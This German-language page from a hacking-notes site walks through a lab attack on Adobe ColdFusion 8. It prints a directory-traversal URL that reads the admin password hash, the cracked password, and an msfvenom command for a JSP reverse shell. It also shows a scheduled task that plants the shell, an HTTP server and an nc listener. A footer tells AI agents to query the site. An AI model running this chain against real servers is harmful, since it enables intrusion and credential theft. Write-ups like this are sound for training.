> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/adobe-coldfusion-8-cms-exploitation.md).

# Adobe ColdFusion 8

Wir finden einen Adobe-ColdFusion-Administrationsdienst, der auf Port 8500 offen ist und einen Benutzernamen und ein Passwort erfordert.

<figure><img src="/files/dbf1ae85cddc9b4a5d3aa97f74f5f90129966149" alt=""><figcaption></figcaption></figure>

Suche mit `searchsploit` zeigt ein Exploit-Skript für eine Directory-Traversal-Schwachstelle.

<figure><img src="/files/257286915b8f309fe5aa9f22828a05b4f55c3fbb" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

Das Skript offenbart eine LFI-Schwachstelle, mit der die Datei gelesen werden kann, die das Passwort enthält:

<figure><img src="/files/670560cf67815a009d02feb42c29697e7c17b26f" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="/files/5a74c855e761f0d9c0cc8b7854252aa040def4eb" alt=""><figcaption></figcaption></figure>

Die Datei enthält den folgenden Passwortwert:

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="/files/6f37a9c5996c1ced8655f588c587396483f11f5f" alt=""><figcaption></figcaption></figure>

### Passwortknacken

{% embed url="<https://crackstation.net/>" %}

Mit CrackStation knacken wir den Hash und stellen das Passwort wieder her `happyday`. Wir können uns nun erfolgreich anmelden.

<figure><img src="/files/344c201904d9538780631ab88c62903eb3a1236d" alt=""><figcaption></figcaption></figure>

### Erstellen einer bösartigen geplanten Aufgabe

<figure><img src="/files/5fd8c1e02307514b08a03c2999f54ac58e9a6305" alt=""><figcaption></figcaption></figure>

Im Bereich der geplanten Aufgaben eine neue Aufgabe erstellen, die eine bösartige Datei in `C:/ColdFusion8/wwwroot/CFIDE`schreibt, wo die Anwendung Lese-/Schreibberechtigungen hat.

<figure><img src="/files/9334740c3cf350e6ad2f566dd409b0609cf3739a" alt="" width="563"><figcaption></figcaption></figure>

**Erstellen der JSP-Datei:** Da der Server JSP-Dateien ausführen kann, erzeugen Sie mit `msfvenom`:

<figure><img src="/files/5fccdf3a397f9faa79b81309431e7f03fc8ea9ba" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="/files/8318b9158c270ef5fb2a8c258801f9e403998a86" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**Hinzufügen einer neuen Aufgabe:** Konfigurieren Sie die geplante Aufgabe so, dass sie die bösartige Datei ausführt.

<figure><img src="/files/40e347b936a9d0b056bca26b885e4028e63f3b7d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1c8f5d8830419616ad6e4fcfb6e65e8c634236a8" alt="" width="563"><figcaption></figcaption></figure>

**HTTP-Server für die Dateiübertragung:** Starten Sie auf dem Angreiferrechner einen HTTP-Server, um die JSP-Datei zu übertragen:

```bash
python3 -m http.server 80
```

<figure><img src="/files/ed31fd1acb996df8c4667e058b0a662a5823ca1e" alt=""><figcaption></figcaption></figure>

**Listener-Einrichtung und Shell-Ausführung:** Starten Sie einen Listener auf Port 443, um die Reverse Shell zu empfangen, und lösen Sie dann die geplante Aufgabe von `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="/files/0e46b6fafde1e622ba693d4fc4ccaa27734e400b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/276537640ea97ed75f6d5fd58dfde47eae570973" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/adobe-coldfusion-8-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
